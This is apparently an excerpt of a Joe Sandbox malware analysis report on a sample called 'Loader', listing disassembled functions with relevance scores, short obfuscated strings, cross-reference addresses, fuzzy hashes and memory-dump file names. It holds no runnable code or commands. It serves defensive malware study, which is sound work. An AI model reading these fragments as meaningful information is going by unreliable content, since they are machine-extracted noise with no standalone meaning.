s, xrefs: 004123AF
ZY{, xrefs: 00411B33
E, xrefs: 004120DA
Q, xrefs: 00412D10
rst, xrefs: 004135BF
y, xrefs: 00412173
|, xrefs: 004119D8
rst, xrefs: 004130B4
>, xrefs: 00412216
&, xrefs: 00411D0D
J, xrefs: 00412E70
5, xrefs: 00412A98
L, xrefs: 004115DD
o, xrefs: 00412742
z, xrefs: 00412762
s, xrefs: 00413694
(, xrefs: 00411C9D
-, xrefs: 004120F2
., xrefs: 00411CCD
`, xrefs: 0041233C
%, xrefs: 00412B18
N, xrefs: 00412782
4, xrefs: 00411DD3
e, xrefs: 00411E97
C, xrefs: 004120CA
gfe, xrefs: 00411F6F
`, xrefs: 00412D80
<, xrefs: 00412E00
s, xrefs: 004132B3
', xrefs: 00412B28
j, xrefs: 00412732
D, xrefs: 00412FCF
s, xrefs: 004133BB
5, xrefs: 0041224E
r, xrefs: 00412752
/, xrefs: 00412B68
S, xrefs: 0041179A
C, xrefs: 0041220E
L, xrefs: 00412772
, xrefs: 00411CDD
*, xrefs: 00411CAD
+, xrefs: 00412B48
0, xrefs: 00412DA0
g, xrefs: 00412D30
|, xrefs: 00412E10
1, xrefs: 00411824
l, xrefs: 004120C2
;, xrefs: 00412AC8
:, xrefs: 004115E2
}, xrefs: 00412DE0
s, xrefs: 0041357A
?, xrefs: 00412DB0
q, xrefs: 004131FE
!, xrefs: 00412AF8
rst, xrefs: 00413400
%, xrefs: 00411D05
B, xrefs: 0041223E
f, xrefs: 00411E9C
J, xrefs: 00412102
?, xrefs: 00413216
7, xrefs: 00412AA8
`, xrefs: 00412D60

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $!$!$"$#$$$%$%$&$'$($)$*$+$,$-$-$.$.$/$0$0$0$1$1$2$3$3$4$4$5$5$6$7$9$:$;$;$<$=$=$>$>$?$?$?$?$B$C$C$D$D$E$G$I$J$J$K$L$L$L$N$Q$S$V$ZY{$`$`$`$b$d$e$f$g$gfe$j$l$n$o$o$q$q$r$rst$rst$rst$rst$rst$rst$s$s$s$s$s$s$u$v$w$y$y$z${$|$|$}$}
API String ID: 0-3428165304
Opcode ID: 15be51869fd02fc3139ab8026e3fdf68eadc402b75c15d9ebf2797c69939cf31
Instruction ID: b4a61ad12ffa9dbcf7a0d624ccfc9ff47b4d913af2ff19700fa36638baa5db42
Opcode Fuzzy Hash: 15be51869fd02fc3139ab8026e3fdf68eadc402b75c15d9ebf2797c69939cf31
Instruction Fuzzy Hash: EA139F7120C7C08AD3258B3889553DFBFE19BD6324F188A6EE1E9873D2C6798546C717

Function 009C17E7 Relevance: 134.6, Strings: 106, Instructions: 2087COMMON

Download Yara Rule

Strings

s, xrefs: 009C2616
;, xrefs: 009C3455
#, xrefs: 009C2D6F
v, xrefs: 009C2FA7
0, xrefs: 009C248D
/, xrefs: 009C2DCF
L, xrefs: 009C2F67
*, xrefs: 009C1F14
?, xrefs: 009C347D
}, xrefs: 009C23FA
d, xrefs: 009C189B
rst, xrefs: 009C331B
D, xrefs: 009C3236
K, xrefs: 009C2371
w, xrefs: 009C2F87
3, xrefs: 009C2CEF
,, xrefs: 009C1F24
=, xrefs: 009C2D3F
$, xrefs: 009C1F64
<, xrefs: 009C3067
V, xrefs: 009C23D2
C, xrefs: 009C2331
:, xrefs: 009C1849
L, xrefs: 009C29D9
rst, xrefs: 009C265B
o, xrefs: 009C29A9
2, xrefs: 009C249D
g, xrefs: 009C2F97
b, xrefs: 009C2FF7
, xrefs: 009C1F44
L, xrefs: 009C1844
0, xrefs: 009C3007
s, xrefs: 009C3622
&, xrefs: 009C1F74
}, xrefs: 009C3047
q, xrefs: 009C3465
9, xrefs: 009C2D1F
`, xrefs: 009C25A3
u, xrefs: 009C2FB7
I, xrefs: 009C2361
', xrefs: 009C2D8F
e, xrefs: 009C20FE
(, xrefs: 009C1F04
C, xrefs: 009C2475
D, xrefs: 009C3731
7, xrefs: 009C2D0F
G, xrefs: 009C2351
., xrefs: 009C2CC7
r, xrefs: 009C29B9
N, xrefs: 009C29E9
s, xrefs: 009C32D6
rst, xrefs: 009C3826
?, xrefs: 009C1921
rst, xrefs: 009C3667
6, xrefs: 009C24BD
?, xrefs: 009C3017
`, xrefs: 009C2FC7
1, xrefs: 009C2CDF
|, xrefs: 009C1C3F
S, xrefs: 009C1A01
|, xrefs: 009C3077
s, xrefs: 009C37E1
., xrefs: 009C1F34
E, xrefs: 009C2341
0, xrefs: 009C3475
y, xrefs: 009C23DA
>, xrefs: 009C247D
!, xrefs: 009C2D5F
Q, xrefs: 009C2F77
%, xrefs: 009C1F6C
?, xrefs: 009C2D4F
=, xrefs: 009C348D
5, xrefs: 009C24B5
y, xrefs: 009C3057
B, xrefs: 009C24A5
), xrefs: 009C2D9F
-, xrefs: 009C2359
1, xrefs: 009C1A8B
n, xrefs: 009C3037
>, xrefs: 009C3485
3, xrefs: 009C2035
J, xrefs: 009C2369
o, xrefs: 009C2FD7
gfe, xrefs: 009C21D6
-, xrefs: 009C2DBF
rst, xrefs: 009C355F
rst, xrefs: 009C3940
4, xrefs: 009C203A
ZY{, xrefs: 009C1D9A
J, xrefs: 009C30D7
q, xrefs: 009C3027
;, xrefs: 009C2D2F
f, xrefs: 009C2103
5, xrefs: 009C2CFF
!, xrefs: 009C2339
4, xrefs: 009C24AD
j, xrefs: 009C2999
%, xrefs: 009C2D7F
s, xrefs: 009C351A
s, xrefs: 009C38FB
`, xrefs: 009C2FE7
+, xrefs: 009C2DAF
{, xrefs: 009C23EA
l, xrefs: 009C2329
z, xrefs: 009C29C9
", xrefs: 009C1F54

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: $!$!$"$#$$$%$%$&$'$($)$*$+$,$-$-$.$.$/$0$0$0$1$1$2$3$3$4$4$5$5$6$7$9$:$;$;$<$=$=$>$>$?$?$?$?$B$C$C$D$D$E$G$I$J$J$K$L$L$L$N$Q$S$V$ZY{$`$`$`$b$d$e$f$g$gfe$j$l$n$o$o$q$q$r$rst$rst$rst$rst$rst$rst$s$s$s$s$s$s$u$v$w$y$y$z${$|$|$}$}
API String ID: 0-3428165304
Opcode ID: 86fbd3bd3829718f654849c0f015267aad3bec870c5753b034696cb62a15f574
Instruction ID: c08a505316b03f84cc5a849f31a999ea67d52577de0b5f4afcf0cf30233483f7
Opcode Fuzzy Hash: 86fbd3bd3829718f654849c0f015267aad3bec870c5753b034696cb62a15f574
Instruction Fuzzy Hash: 6413707160C7C08AD3258B38C8957AFBFE19BD6324F188A6DE1E9873D2C6798545CB13

Function 00430CA3 Relevance: 76.6, Strings: 61, Instructions: 342COMMON

Download Yara Rule

Strings

X, xrefs: 00430F1E
D, xrefs: 00430FE2
2, xrefs: 00430CC4
|, xrefs: 00430E5A
#, xrefs: 00430E53
b, xrefs: 00430EF4
p, xrefs: 00430E76
f, xrefs: 00430F10
4, xrefs: 00430CD2
S, xrefs: 00430CCB
N, xrefs: 00430FB8
&, xrefs: 00430D50
E, xrefs: 00430D49
n, xrefs: 00430ED8
$, xrefs: 00430D42
P, xrefs: 00430F56
d, xrefs: 00430F02
F, xrefs: 00430FF0
6, xrefs: 00430CE0
z, xrefs: 00430E4C
V, xrefs: 00430F80
tsrq, xrefs: 00431257
`, xrefs: 00430EE6
0, xrefs: 00430CB6
H, xrefs: 00430E37
T, xrefs: 00430F72
4, xrefs: 00431231
@, xrefs: 00430FC6
(, xrefs: 00431013
v, xrefs: 00430EA0
), xrefs: 00430F95
", xrefs: 00430D34
t, xrefs: 00430E92
j, xrefs: 00430EBC
9, xrefs: 00430F25
~, xrefs: 00430E68
\, xrefs: 00430F3A
{, xrefs: 00430CAF
*, xrefs: 00431005
w, xrefs: 00430DC7
r, xrefs: 00430E84
(, xrefs: 00430CEE
>, xrefs: 00430E61
s, xrefs: 00430DAB
L, xrefs: 00430FAA
,, xrefs: 00430D0A
{, xrefs: 00430D73
Z, xrefs: 00430F2C
., xrefs: 00430D18
^, xrefs: 00430F48
H, xrefs: 00430F8E
l, xrefs: 00430ECA
, xrefs: 00430D26
R, xrefs: 00430F64
x, xrefs: 00430E3E
#, xrefs: 00430FDB
*, xrefs: 00430CFC
J, xrefs: 00430F9C
B, xrefs: 00430FD4
h, xrefs: 00430EAE
K, xrefs: 00430D03

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $"$#$#$$$&$($($)$*$*$,$.$0$2$4$4$6$9$>$@$B$D$E$F$H$H$J$K$L$N$P$R$S$T$V$X$Z$\$^$`$b$d$f$h$j$l$n$p$r$s$t$tsrq$v$w$x$z${${$|$~
API String ID: 0-2716033750
Opcode ID: 1d97e1c44a5951a0a69847f2656a69d0a65e76aa83fb37271a4a8f9375fb9d57
Instruction ID: b8b3401e130b4d3e08887439a1b3a2f3b2b4d3d4127392b614fce524f1e92060
Opcode Fuzzy Hash: 1d97e1c44a5951a0a69847f2656a69d0a65e76aa83fb37271a4a8f9375fb9d57
Instruction Fuzzy Hash: 7F12FF209087E9CDDB32C7388C587DDBFA15B67314F0842D9D1E86B2D2D7B90A85CB66

Function 0042FAD4 Relevance: 76.6, Strings: 61, Instructions: 336COMMON

Download Yara Rule

Strings

`, xrefs: 0042FD17
>, xrefs: 0042FC92
6, xrefs: 0042FB11
z, xrefs: 0042FC7D
\, xrefs: 0042FD6B
H, xrefs: 0042FC68
d, xrefs: 0042FD33
4, xrefs: 00430062
D, xrefs: 0042FE13
,, xrefs: 0042FB3B
f, xrefs: 0042FD41
#, xrefs: 0042FE0C
B, xrefs: 0042FE05
~, xrefs: 0042FC99
T, xrefs: 0042FDA3
{, xrefs: 0042FAE0
(, xrefs: 0042FB1F
v, xrefs: 0042FCD1
@, xrefs: 0042FDF7
H, xrefs: 0042FDBF
h, xrefs: 0042FCDF
X, xrefs: 0042FD4F
S, xrefs: 0042FAFC
F, xrefs: 0042FE21
4, xrefs: 0042FB03
V, xrefs: 0042FDB1
P, xrefs: 0042FD87
2, xrefs: 0042FAF5
n, xrefs: 0042FD09
E, xrefs: 0042FB7A
Z, xrefs: 0042FD5D
p, xrefs: 0042FCA7
l, xrefs: 0042FCFB
s, xrefs: 0042FBDC
), xrefs: 0042FDC6
J, xrefs: 0042FDCD
tsrq, xrefs: 00430088
#, xrefs: 0042FC84
, xrefs: 0042FB57
", xrefs: 0042FB65
b, xrefs: 0042FD25
R, xrefs: 0042FD95
., xrefs: 0042FB49
N, xrefs: 0042FDE9
j, xrefs: 0042FCED
0, xrefs: 0042FAE7
|, xrefs: 0042FC8B
^, xrefs: 0042FD79
(, xrefs: 0042FE44
w, xrefs: 0042FBF8
K, xrefs: 0042FB34
*, xrefs: 0042FB2D
$, xrefs: 0042FB73
r, xrefs: 0042FCB5
9, xrefs: 0042FD56
*, xrefs: 0042FE36
{, xrefs: 0042FBA4
x, xrefs: 0042FC6F
&, xrefs: 0042FB81
L, xrefs: 0042FDDB
t, xrefs: 0042FCC3

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $"$#$#$$$&$($($)$*$*$,$.$0$2$4$4$6$9$>$@$B$D$E$F$H$H$J$K$L$N$P$R$S$T$V$X$Z$\$^$`$b$d$f$h$j$l$n$p$r$s$t$tsrq$v$w$x$z${${$|$~
API String ID: 0-2716033750
Opcode ID: d9c80ac8ce434c80c99eafc36333100862f2a2f768de73410a506fb175b04bd8
Instruction ID: d1d582c3b0a7952dd09fa2718823094753ccb2af9505fb0bbf5d163b43d255a7
Opcode Fuzzy Hash: d9c80ac8ce434c80c99eafc36333100862f2a2f768de73410a506fb175b04bd8
Instruction Fuzzy Hash: 9C12102090C7E9C9DB32C63C8C587DDBEB15B27314F4842D9D1E86B2D2D7B90A85CB66

Function 00409A80 Relevance: 30.3, Strings: 24, Instructions: 290COMMON

Download Yara Rule

Strings

t![#, xrefs: 00409C3B
eI.K, xrefs: 00409C8B
A-[/, xrefs: 00409C53
&A-C, xrefs: 00409C7B
E, xrefs: 00409B82
]5F7, xrefs: 00409C63
1QiS, xrefs: 00409C9B
act, xrefs: 00409BC6, 00409BCD
XY, xrefs: 00409DA3
:/5(, xrefs: 00409B90
$U?W, xrefs: 00409D9B
2#$!, xrefs: 00409B7A
2]:_, xrefs: 00409CB3
6E+G, xrefs: 00409C83
tU4W, xrefs: 00409CA3
\1F3, xrefs: 00409C5B
Y9H;, xrefs: 00409C6B
-M:O, xrefs: 00409C93
"3*3, xrefs: 00409B72
hi, xrefs: 00409CCB
ECD59C7AD11BC2B7026EFE7A712A26F1, xrefs: 00409B2D
k, xrefs: 00409BE0
7Y/[, xrefs: 00409CAB
T%C', xrefs: 00409C43

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "3*3$$U?W$&A-C$-M:O$1QiS$2#$!$2]:_$6E+G$7Y/[$:/5($A-[/$E$ECD59C7AD11BC2B7026EFE7A712A26F1$T%C'$XY$Y9H;$\1F3$]5F7$act$eI.K$hi$k$t![#$tU4W
API String ID: 0-288438965
Opcode ID: fb8ff1de1894c04fed4195a20148a48884acf4ee8a3dab57140fd78356f5ef29
Instruction ID: e132971a2c0a86ff250d0b59df4bf4bd4eef89bcc9e27c8481a54b040e7a144e
Opcode Fuzzy Hash: fb8ff1de1894c04fed4195a20148a48884acf4ee8a3dab57140fd78356f5ef29
Instruction Fuzzy Hash: 11A100B16083408BD314CF25D89166BBBE5FF92318F18492DF4D59B392D738C90ACB5A

Function 00431537 Relevance: 26.5, Strings: 21, Instructions: 258COMMON

Download Yara Rule

Strings

tsrq, xrefs: 00431820
s, xrefs: 00431651
<, xrefs: 004316D8
|, xrefs: 00431635
2, xrefs: 0043156B
<, xrefs: 00431591
x, xrefs: 00431625
~, xrefs: 0043163D
r, xrefs: 0043164D
9, xrefs: 004315A1
u, xrefs: 004315D9
>, xrefs: 004316E1
t, xrefs: 00431655
1, xrefs: 0043155D
z, xrefs: 0043162D
0, xrefs: 00431599
p, xrefs: 00431645
O, xrefs: 00431581
m, xrefs: 004315F9
0, xrefs: 004317FA
>, xrefs: 00431579

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 0$0$1$2$9$<$<$>$>$O$m$p$r$s$t$tsrq$u$x$z$|$~
API String ID: 0-1245449578
Opcode ID: 1a843fa96bb22b655c6230897f31df6b40105846cba9ba77c4ddb53f8e4d7f08
Instruction ID: 3959d97d7245099c68b1a3864ca4bed858ddfb29131cf87c40bb78e6f8893619
Opcode Fuzzy Hash: 1a843fa96bb22b655c6230897f31df6b40105846cba9ba77c4ddb53f8e4d7f08
Instruction Fuzzy Hash: 2CD15B21C087D98ADB22CABC88443DDBFB15F67324F1843D9D4A46B3E6C3754646CBA6

Function 009E179E Relevance: 26.5, Strings: 21, Instructions: 258COMMON

Download Yara Rule

Strings

<, xrefs: 009E193F
~, xrefs: 009E18A4
|, xrefs: 009E189C
z, xrefs: 009E1894
9, xrefs: 009E1808
>, xrefs: 009E17E0
t, xrefs: 009E18BC
2, xrefs: 009E17D2
0, xrefs: 009E1A61
tsrq, xrefs: 009E1A87
p, xrefs: 009E18AC
1, xrefs: 009E17C4
x, xrefs: 009E188C
<, xrefs: 009E17F8
s, xrefs: 009E18B8
>, xrefs: 009E1948
r, xrefs: 009E18B4
O, xrefs: 009E17E8
m, xrefs: 009E1860
0, xrefs: 009E1800
u, xrefs: 009E1840

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 0$0$1$2$9$<$<$>$>$O$m$p$r$s$t$tsrq$u$x$z$|$~
API String ID: 0-1245449578
Opcode ID: 145c9d7e6766c49afeb79617748c432a19deac79cdc29a74e9429931f80d0283
Instruction ID: 64bb2614538540af82050822abf156759aece5e3b5dfbce567903fd9cd7a532d
Opcode Fuzzy Hash: 145c9d7e6766c49afeb79617748c432a19deac79cdc29a74e9429931f80d0283
Instruction Fuzzy Hash: 59D16C21C087DA8ADB22CABC88443DDBFB15F67324F0843D9D4A46B3D6D3754A46CB96

Function 00430820 Relevance: 26.5, Strings: 21, Instructions: 252COMMON

Download Yara Rule

Strings

0, xrefs: 00430876
<, xrefs: 0043086E
2, xrefs: 00430848
~, xrefs: 0043091A
m, xrefs: 004308D6
<, xrefs: 004309B5
tsrq, xrefs: 00430AFD
s, xrefs: 0043092E
r, xrefs: 0043092A
x, xrefs: 00430902
O, xrefs: 0043085E
9, xrefs: 0043087E
p, xrefs: 00430922
|, xrefs: 00430912
>, xrefs: 004309BE
0, xrefs: 00430AD7
u, xrefs: 004308B6
1, xrefs: 0043083A
z, xrefs: 0043090A
>, xrefs: 00430856
t, xrefs: 00430932

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 0$0$1$2$9$<$<$>$>$O$m$p$r$s$t$tsrq$u$x$z$|$~
API String ID: 0-1245449578
Opcode ID: 3840bb6dc90f3f95d80592059a04eb9011c4b2c62263ccd5c0483d9a25998792
Instruction ID: 64d6cef26894565c823b69a340eee1d20b515f63d088fcc841f75beb013fe5a3
Opcode Fuzzy Hash: 3840bb6dc90f3f95d80592059a04eb9011c4b2c62263ccd5c0483d9a25998792
Instruction Fuzzy Hash: 43C13C218087D98ADB22CBBC88543DDBFB15F67324F1843D9D4E86B3E2C3654646CB66

Function 009E0A87 Relevance: 26.5, Strings: 21, Instructions: 252COMMON

Download Yara Rule

Strings

0, xrefs: 009E0ADD
m, xrefs: 009E0B3D
s, xrefs: 009E0B95
>, xrefs: 009E0ABD
z, xrefs: 009E0B71
p, xrefs: 009E0B89
<, xrefs: 009E0AD5
2, xrefs: 009E0AAF
0, xrefs: 009E0D3E
~, xrefs: 009E0B81
x, xrefs: 009E0B69
1, xrefs: 009E0AA1
u, xrefs: 009E0B1D
>, xrefs: 009E0C25
O, xrefs: 009E0AC5
<, xrefs: 009E0C1C
|, xrefs: 009E0B79
9, xrefs: 009E0AE5
t, xrefs: 009E0B99
r, xrefs: 009E0B91
tsrq, xrefs: 009E0D64

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 0$0$1$2$9$<$<$>$>$O$m$p$r$s$t$tsrq$u$x$z$|$~
API String ID: 0-1245449578
Opcode ID: 1baf1f099e010baa0c355c6b2b4f07af8b5c6b4bd221d32b37daeac1dc879255
Instruction ID: 26327dadf2cad26aa9e3e206e9fc2dc79dd535235007dc194e69e7a1c0cd27bd
Opcode Fuzzy Hash: 1baf1f099e010baa0c355c6b2b4f07af8b5c6b4bd221d32b37daeac1dc879255
Instruction Fuzzy Hash: A1C14C218087D98ADB22C6BC88443DDBFB15F67324F1843D9D4E46B3E2C3B54A46DB66

Function 0040F41E Relevance: 19.6, Strings: 15, Instructions: 877COMMON

Download Yara Rule

Strings

`, xrefs: 0040F4AB
S, xrefs: 0040FCCA
t, xrefs: 0040FB4C
h, xrefs: 0040F6E2
stqrst, xrefs: 0040FDA6
V, xrefs: 0040FCC5
s, xrefs: 0040FB54
{, xrefs: 0040F73F
e, xrefs: 0040F583
rst, xrefs: 0040FBAE
TSV, xrefs: 0040FCF1
N, xrefs: 0040F8FB
a, xrefs: 0040F9CE
M, xrefs: 0040F7F2
+, xrefs: 0040FE77

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: +$M$N$S$TSV$V$`$a$e$h$rst$s$stqrst$t${
API String ID: 0-3285608908
Opcode ID: 47bf762f18d1a782a8c708f2dd372360f14f3db9ad48d291ea20d70326c8584b
Instruction ID: 3f9cf8ee2397b276d48a2984ebf46797d6b22d77e54227907699ff969571d9e1
Opcode Fuzzy Hash: 47bf762f18d1a782a8c708f2dd372360f14f3db9ad48d291ea20d70326c8584b
Instruction Fuzzy Hash: 26828B7160C7808ED324DF38C4953AFBBE1AF9A314F184A2EE5E9873D2D67885458B17

Function 009BF685 Relevance: 19.6, Strings: 15, Instructions: 877COMMON

Download Yara Rule

Strings

V, xrefs: 009BFF2C
`, xrefs: 009BF712
+, xrefs: 009C00DE
stqrst, xrefs: 009C000D
rst, xrefs: 009BFE15
t, xrefs: 009BFDB3
e, xrefs: 009BF7EA
{, xrefs: 009BF9A6
s, xrefs: 009BFDBB
a, xrefs: 009BFC35
h, xrefs: 009BF949
M, xrefs: 009BFA59
S, xrefs: 009BFF31
N, xrefs: 009BFB62
TSV, xrefs: 009BFF58

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: +$M$N$S$TSV$V$`$a$e$h$rst$s$stqrst$t${
API String ID: 0-3285608908
Opcode ID: f2da3cf36a0db56d394248192aaae7b4d4746cc1930381567f8cd4bdb7f36215
Instruction ID: 63ae36c15d00f296bdd5f2ffd977ef7f9810f46bdaed6b3774c6fb97344c4735
Opcode Fuzzy Hash: f2da3cf36a0db56d394248192aaae7b4d4746cc1930381567f8cd4bdb7f36215
Instruction Fuzzy Hash: 63828D7160D7C08ED3249F3888957AFBBE1AFD6320F184A2DE1E987392D6798545CB13

Function 0041BE70 Relevance: 18.3, Strings: 14, Instructions: 817COMMON

Download Yara Rule

Strings

T/)g, xrefs: 0041C1A0
JQNX, xrefs: 0041C170
#rz, xrefs: 0041C1F8
04l_, xrefs: 0041C178
ptdW, xrefs: 0041C168
Q_XF, xrefs: 0041C188
6Ni], xrefs: 0041C254
6, xrefs: 0041C7BB
.5*4, xrefs: 0041C1B8
9?, xrefs: 0041C7B4
tX3c, xrefs: 0041C160
zl~t, xrefs: 0041C158
_\FG, xrefs: 0041C180
ZL^T, xrefs: 0041C198

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #rz$.5*4$04l_$6$6Ni]$9?$JQNX$Q_XF$T/)g$ZL^T$_\FG$ptdW$tX3c$zl~t
API String ID: 0-4223295780
Opcode ID: 0efce11fbc98ad0d61d9081079cde86c333d0589fd3a99b7d4df372a29a43727
Instruction ID: b306da93c265f6d99679d844f276978183875785d131a60e0f82dcd1e4a377da
Opcode Fuzzy Hash: 0efce11fbc98ad0d61d9081079cde86c333d0589fd3a99b7d4df372a29a43727
Instruction Fuzzy Hash: 0952477054C3908FD725CF24C8907AFBBE1AF96314F08866EE8E45B392D7398945CB5A

Function 009CC0D7 Relevance: 18.3, Strings: 14, Instructions: 817COMMON

Download Yara Rule

Strings

_\FG, xrefs: 009CC3E7
tX3c, xrefs: 009CC3C7
ptdW, xrefs: 009CC3CF
04l_, xrefs: 009CC3DF
zl~t, xrefs: 009CC3BF
JQNX, xrefs: 009CC3D7
6Ni], xrefs: 009CC4BB
T/)g, xrefs: 009CC407
6, xrefs: 009CCA22
Q_XF, xrefs: 009CC3EF
9?, xrefs: 009CCA1B
ZL^T, xrefs: 009CC3FF
#rz, xrefs: 009CC45F
.5*4, xrefs: 009CC41F

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: #rz$.5*4$04l_$6$6Ni]$9?$JQNX$Q_XF$T/)g$ZL^T$_\FG$ptdW$tX3c$zl~t
API String ID: 0-4223295780
Opcode ID: b5848ee18b294147b8f2e7613310f9224cfab60c8f8f159370841840a675cbce
Instruction ID: ea3c350f6ef4d28107d75b7c78fd03618e9faa98ecd6ea71b365021d36dbf374
Opcode Fuzzy Hash: b5848ee18b294147b8f2e7613310f9224cfab60c8f8f159370841840a675cbce
Instruction Fuzzy Hash: 0E5214B190C3918BC725CF64C841B6EBFE1AF96314F188A6CE4E85B292D7359905CB93

Function 004234C0 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 448COMMON

Download Yara Rule

Strings

MB, xrefs: 00423B40
;C8E, xrefs: 00423BC6
[^, xrefs: 00423B35
0 '*, xrefs: 004240C0
*_2A, xrefs: 00423BBE
#8 ;, xrefs: 004240D0
.S&U, xrefs: 00423C55

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #8 ;$*_2A$.S&U$0 '*$;C8E$MB$[^
API String ID: 0-1668581689
Opcode ID: 1c8e3ce2461a2d55d70480923abdaf084ad1232980435dd5365feadd7d55a530
Instruction ID: 259bbc209bce762602793ed38c87e17f6170a362bef4c6846dc19a396bdcf5f8
Opcode Fuzzy Hash: 1c8e3ce2461a2d55d70480923abdaf084ad1232980435dd5365feadd7d55a530
Instruction Fuzzy Hash: CCF1DDB060C340CBD7209F61E84176FBBF2FB85318F44692DE1959B291E739D605CB9A

Function 004148F5 Relevance: 13.2, Strings: 10, Instructions: 657COMMON

Download Yara Rule

Strings

G)I, xrefs: 00414A91
?&,!, xrefs: 00414929
2%:Y, xrefs: 0041494A
%8=>, xrefs: 004149E6
).>8, xrefs: 0041493F
;?1{, xrefs: 004149D0
?9>6, xrefs: 004149DB
;%5Q, xrefs: 00414934
6:, xrefs: 004149F1
>=?7, xrefs: 00414A54, 00414A5B

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: LibraryLoad
String ID: G)I$%8=>$).>8$2%:Y$6:$;%5Q$;?1{$>=?7$?&,!$?9>6
API String ID: 1029625771-3771190713
Opcode ID: 8fe07b3d328bd2c7dd7754e70cb58d0982ddb4a92d069ac5364dc4227b39e2ab
Instruction ID: d38dac351554e31b6e4e8f25126ff9cb3feceb5a8c5076ece5b883790d093c19
Opcode Fuzzy Hash: 8fe07b3d328bd2c7dd7754e70cb58d0982ddb4a92d069ac5364dc4227b39e2ab
Instruction Fuzzy Hash: 02223272A08251DFD7289F24D8517EBB3E1EFC5314F14893EE49A87391D7389982CB86

Function 004234E0 Relevance: 13.1, APIs: 2, Strings: 5, Instructions: 861COMMON

Download Yara Rule

Strings

OJGM, xrefs: 00423A44
sub, xrefs: 00423926, 0042392A
0 '*, xrefs: 004240C0
\, xrefs: 00423A54
#8 ;, xrefs: 004240D0

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

